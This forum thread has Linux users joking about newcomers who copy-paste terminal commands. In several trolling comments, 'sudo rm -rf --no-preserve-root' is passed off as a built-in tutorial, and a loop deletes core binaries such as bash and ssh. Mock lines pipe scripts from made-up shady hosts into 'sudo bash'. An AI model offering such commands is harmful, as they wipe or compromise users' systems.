I usually get an output saying my distro isn't supported. So I have to download and edit the script then it can bypass checking os-release or something like that.
Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,
I also find that adding --verbose adds more things like commentary and extras that really help
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that
It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.
This is the reason that BASH will always be better than Powershell, imho.
Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably
while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist
clang # unwanted telemitry
bash # promotes violence
tree # hippy garbage
awk # secret backdoor into your PC
ssh # isnt up to date on its intentional encryption backdoor certificate
bloatlist
::: spoiler /s
Hope nobody dumb enough to run this
Because it actually works
:::
Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.
I swear to God Canonical have some things to answer for.
I'm still curious about stuff I didn't try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.
I just switched to NixOS from Endeavour maybe 1/2 days ago. It's honestly pretty cool(i might have to be extra stupid to break this distro lol), but even as a vanilla Arch user it still kind of confuses me. I'm a linux noob, though. You'll probably have an easier time with it.
God I spent so much unnecessary time reinstalling arch, before arch-install too! Looking back almost every time I reinstalled arch I could have fixed it with an installer and chroot.
That's true. I'm no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.
I realize my post sounds like I'm against students typing out commands, but I'm not. I'm against them mindlessly typing out commands they find on the internet without taking time to understand what the commands actually do. I encourage them to be intentional with their commands and really understand them.
Thank you, whenever people ask me how to start learning and get rolling in tech related things I’ve struggled trying to articulate this exact point. I’m not a sysadmin or anything but knowing how to navigate CLIs across OS’s makes everything so much easier to learn and do
Tab completion is the main way I check that I'm using a valid file path in the command, especially when I'm deleting something. (and even then I double and triple check the path when I delete something lol)
People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.
Aaand very occasionally the accessible source code for when you're really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.
The curl command pulls data from a URL into your terminal. So you can actually go to cheat.sh in a web browser to see what the output would be (also wouldn't necessarily recommend doing this vs. blindly pasting commands, but in this case, perfectly safe!). It looks like a little Unix command helper tool.
Quick google shows it's (likely) an aggregate cheat sheet for numerous resources which can be accessed via curl cheat.sh/ or curl cht.sh
(I haven't confirmed this, verify the safety of all commands and code that you run on your system before you run it, don't inherently trust someone else)
You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.
I sometimes feel like I go all the way around. I find a fix for a problem that says: just copy and paste this. I then spend 3 hours or more reading and trying to understand the snippet, or do it directly. Then I realise the fix is to just copy and paste that original snippet.
I guess at least I now understand why everyone just does that for that problem.
After reading (or skimming) many books on *nix, I encountered one that was way over my head. I was lost and gave up after ~25 pages. A few years later, I found myself reading it casually because I no longer needed to type things out to verify how they worked. It was an awesome feeling.
I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)
Same tbh. For the hassle to be worth it, you'd probably have to have either an extreme tolerance for bureaucracy and patience in general or exactly the kind of selfishly careless mentally that would mean that you should NEVER be allowed anywhere near the job..
That was me today when I allowed Linux to remove what it claimed "can/should' remove X packages.. now my llmachine has no VMware tools, won't scale, and is missing something called fuse?
fuse is for mounting filesystems that don’t have in-kernel drivers. I haven’t touched VMWare in a while, but they might use it for sharing folders between the host and guest
ChatGPT has actually been invaluable for switching to Linux for this reason. I only broke my system after I tried finding my own solutions to problems online and copied that code.
There is a big issue in the Linux community where people are very concerned with the OS itself and not what people are actually doing with it. So if copy pasting is working and you are getting whatever it is you want don’ done, done, then no one should care how you got there.
Heheh on Linux when you think you found the answer you copy paste, log out and back in. Sometimes reboot if it don’t with try the next copy and paste.. so many memories
Yeah... I just wanted to connect my phone via adb. Ended up removing myself from the sudo-ers group. Since I did not know how to fix this problem at the time this caused a fresh install.
Yeah I'm wildly careless about copying and pasting stuff beginning with "sudo ...". No harm yet, though I do wonder what this process called "totallynotabitcoinminer" is and why my pc has slowed to a crawl.
Yeah, this is the case if you're a heavy terminal user. However, for a lot of people this is no longer necessary.
For a lot of people where just stock #gnome or #kde is good enough, and you use the software store app to install applications, you rarely have to touch the terminal and as such don't have to know the commands.
That being said, as a heavy #neovim and #emacs user, the power provided by actually knowing the commands is something that I could not do without.
I do a lot of copying and pasting as well, but what works very well as well is hitting control+r. When I found that out it sped up my workflow by quite a bit.
Nothing better than
curl https://totally-legit-installer.com/script | sudo bashNo hash, get cash!
I usually get an output saying my distro isn't supported. So I have to download and edit the script then it can bypass checking os-release or something like that.
such a base
I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.
It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /Type your password when prompted and you're golden. No more linux issues ever again.
Remember that if you run it as
rootand dont add the flag--no-preserve-rootyou leave your system vunrable to hackers like Anonymous or 4chan until you reboot,I also find that adding
--verboseadds more things like commentary and extras that really helpSo, run
sudo rm -rf --no-preserve-root --verbose/s
All good points.
That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.
It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.
Upvoted.
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that
It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.
This is the reason that BASH will always be better than Powershell, imho.
It optomizes your computer too? Woa
Well, technically it teaches you how to optimize your system.
That said, the optimizations are really effective.
Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like
clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably::: spoiler /s Hope nobody dumb enough to run this Because it actually works :::
Lol, I know what you mean.
Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.
I swear to God Canonical have some things to answer for.
Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don't hold shit against Linux now.
I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.
When did best buy display Linux computers?
I said we are Mac users. BB has Macs.
macs are based on BSD.
Evil boy
Guy's really feeling helpful today
That’s probably how most of us started, but then you start getting familiar with things…
And that's when you really get good at breaking shit.
In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.
Ah, the good old days of installing some obscure distro just to reinstall from scratch a week after 👌🏼
I'm still curious about stuff I didn't try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.
Virtual machines
I just switched to NixOS from Endeavour maybe 1/2 days ago. It's honestly pretty cool(i might have to be extra stupid to break this distro lol), but even as a vanilla Arch user it still kind of confuses me. I'm a linux noob, though. You'll probably have an easier time with it.
Edit: i do miss pacman, specially yay.
Oh yeah! I tried so many…hahaha
God I spent so much unnecessary time reinstalling arch, before arch-install too! Looking back almost every time I reinstalled arch I could have fixed it with an installer and chroot.
Professional level breaking.
That's true. I'm no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.
While at the same time, others understand less and less how you work
I actually take the time to type everything out, but I still have no idea what I’m doing.
You know, my students do this. It's freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄
it is actually a good thing to do. helps in learning stuff faster. it's good to hear that there's still people who don't mindlessly copy and paste
I realize my post sounds like I'm against students typing out commands, but I'm not. I'm against them mindlessly typing out commands they find on the internet without taking time to understand what the commands actually do. I encourage them to be intentional with their commands and really understand them.
Omg I tell people at least 3 times a day about bash's tab completion. Cli proficiency should be taught before programming
Mindlessly mashing tab > copy paste any day brother
Thank you, whenever people ask me how to start learning and get rolling in tech related things I’ve struggled trying to articulate this exact point. I’m not a sysadmin or anything but knowing how to navigate CLIs across OS’s makes everything so much easier to learn and do
Tab completion is the main way I check that I'm using a valid file path in the command, especially when I'm deleting something. (and even then I double and triple check the path when I delete something lol)
Haha, the club.
People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.
Aaand the arch wiki
Aaand stack overflow
Aaand the Gentoo wiki
Aaand random Linux forums :P
Aaand very occasionally the accessible source code for when you're really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.
I’m convinced that if StackOverflow goes down society would follow within a matter of weeks.
For anyone who needs it. Try out:
OP bout to copy/paste this without knowing what it does lol.
what does it do?
Lemme know if you find out please, I forgot the name of the reminder bot on Lemmy haha
The curl command pulls data from a URL into your terminal. So you can actually go to cheat.sh in a web browser to see what the output would be (also wouldn't necessarily recommend doing this vs. blindly pasting commands, but in this case, perfectly safe!). It looks like a little Unix command helper tool.
Why wouldn't you recommend this? As a novice, it seems to me like a safe way to check out what you're actually pulling in through curl
Quick google shows it's (likely) an aggregate cheat sheet for numerous resources which can be accessed via curl cheat.sh/ or curl cht.sh
(I haven't confirmed this, verify the safety of all commands and code that you run on your system before you run it, don't inherently trust someone else)
Do it a few times and it gives your computer massive biceps
Not just Linux, I do this all the time when 'writing' R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.
Butt that's how I learnt the scripting!
You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.
Years ago I started out like this, then gradually started reading and understanding the stuff.
This is the way.
We're still using this meme right? /2%er
I sometimes feel like I go all the way around. I find a fix for a problem that says: just copy and paste this. I then spend 3 hours or more reading and trying to understand the snippet, or do it directly. Then I realise the fix is to just copy and paste that original snippet.
I guess at least I now understand why everyone just does that for that problem.
After reading (or skimming) many books on *nix, I encountered one that was way over my head. I was lost and gave up after ~25 pages. A few years later, I found myself reading it casually because I no longer needed to type things out to verify how they worked. It was an awesome feeling.
I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)
The real learning happens when you copy and paste something you shouldn't and bork your system. That's basically how I started.
Me learning anything ever. Troubleshooting is the real learning phase.
No offence, but I hope you don't hold a high ranking government position, what with catastrophic error being the only way you learn 😁
I hope I never hold a high ranking government position too
Same tbh. For the hassle to be worth it, you'd probably have to have either an extreme tolerance for bureaucracy and patience in general or exactly the kind of selfishly careless mentally that would mean that you should NEVER be allowed anywhere near the job..
One would hope that all the learning mistakes happen earlier in the career before you could be trusted with something big like that.
Good point lol
I am not alone.
We are not alone.
I shouldn't have done that
That was me today when I allowed Linux to remove what it claimed "can/should' remove X packages.. now my llmachine has no VMware tools, won't scale, and is missing something called fuse?
fuse is for mounting filesystems that don’t have in-kernel drivers. I haven’t touched VMWare in a while, but they might use it for sharing folders between the host and guest
Think of it as a forced upgrade 🤪
I think this is how most people start but you gotta start somewhere right? This site helped me a lot: https://explainshell.com
copy and pasted random login info
"Why isn't this working?"
All hail the arch Linux wiki!
ALL GLORY TK THE WIKI.
ChatGPT has actually been invaluable for switching to Linux for this reason. I only broke my system after I tried finding my own solutions to problems online and copied that code.
There is a big issue in the Linux community where people are very concerned with the OS itself and not what people are actually doing with it. So if copy pasting is working and you are getting whatever it is you want don’ done, done, then no one should care how you got there.
It’s funny cuz it’s true
Heheh on Linux when you think you found the answer you copy paste, log out and back in. Sometimes reboot if it don’t with try the next copy and paste.. so many memories
I've spent some much time in a terminal the last week I'm starting to Ctrl+x anytime I want to save anything lol. Even illustrator files at work lol.
Just be careful with those two letter shell commands like rm and dd. But if you don't, you will become proficient in reinstalling Linux.
The real question is which buffer are you using? Team middle-click ftw.
Lol yep.
You'll learn when you do more of those
Honestly this is good enough for most people. Some may say you risk fucking up the os/computer but windows guides carry the same risk.
the linux equivalent of earning your wings is attempting a simple fix and somehow fucking up so bad you have to start over from a fresh install
Yeah... I just wanted to connect my phone via adb. Ended up removing myself from the sudo-ers group. Since I did not know how to fix this problem at the time this caused a fresh install.
I'm sad because this is true.
Also,
man -kis a lost, dark art.You don't need to in Linux either. You can do most everything from a gui.
Depends on the distro. Some are more tailered to GUIs and some are more tailored to TUIs.
Of course but Debian, Ubuntu, Fedora, Mint and KDE are all pretty good in the gui when standard
Agreed, but I've still run into some instances where a program is not available in the official store and you need to add the repo via terminal.
Not as common as it used to be. I'm just saying.
¯\_ (ツ) _/¯
Even then, you can usually add via the gui even if it's a bit complicated. Flatpaks and snaps make that way easier.
This is true.
This makes me laugh so much. After years of using Linux, it’s still true for me to an extent.
I'm a Linux system admin, I literally do this for a living, and I usually feel like I have no idea what I'm doing.
Yeah I'm wildly careless about copying and pasting stuff beginning with "sudo ...". No harm yet, though I do wonder what this process called "totallynotabitcoinminer" is and why my pc has slowed to a crawl.
Don't worry, that's just some helpful code to enable the space heater feature of your computer.
I too like to sudo bash
You mean, to curl http://shadywebsite.com/bootstrap.sh | sudo bash, right?
@live_long_prosper @EliteCow
Yeah, this is the case if you're a heavy terminal user. However, for a lot of people this is no longer necessary.
For a lot of people where just stock #gnome or #kde is good enough, and you use the software store app to install applications, you rarely have to touch the terminal and as such don't have to know the commands.
That being said, as a heavy #neovim and #emacs user, the power provided by actually knowing the commands is something that I could not do without.
I live in the terminal all day every day. And I still copy paste. It's generally way easier and less typo prone than typing everything
@Falmarri
I do a lot of copying and pasting as well, but what works very well as well is hitting control+r. When I found that out it sped up my workflow by quite a bit.
@zbecker @Falmarri Isn’t that for a referee search in your shell? Or is that only for zsh?
What are you referring to that makes ctrl+r so powerful?
@notnorm @Falmarri basically it enabled you to search your command history
@zbecker @live_long_prosper @EliteCow Long live the terminal!
@live_long_prosper
It's weird, I don't use the terminal on windows. TBF I never learned dos, so there is that
You copypaste till everything is in the terminal history, then you just scroll through it like a pro
Ah yes, anytime I am making a script in bash and have to use something I have never seen before.
It's the main reason mainly programmers use it, not because of the openess, because they learnt to Google there problems
As a wayland user, I wish this was true
Yeah, Linux is not for you if don't know what you're doing.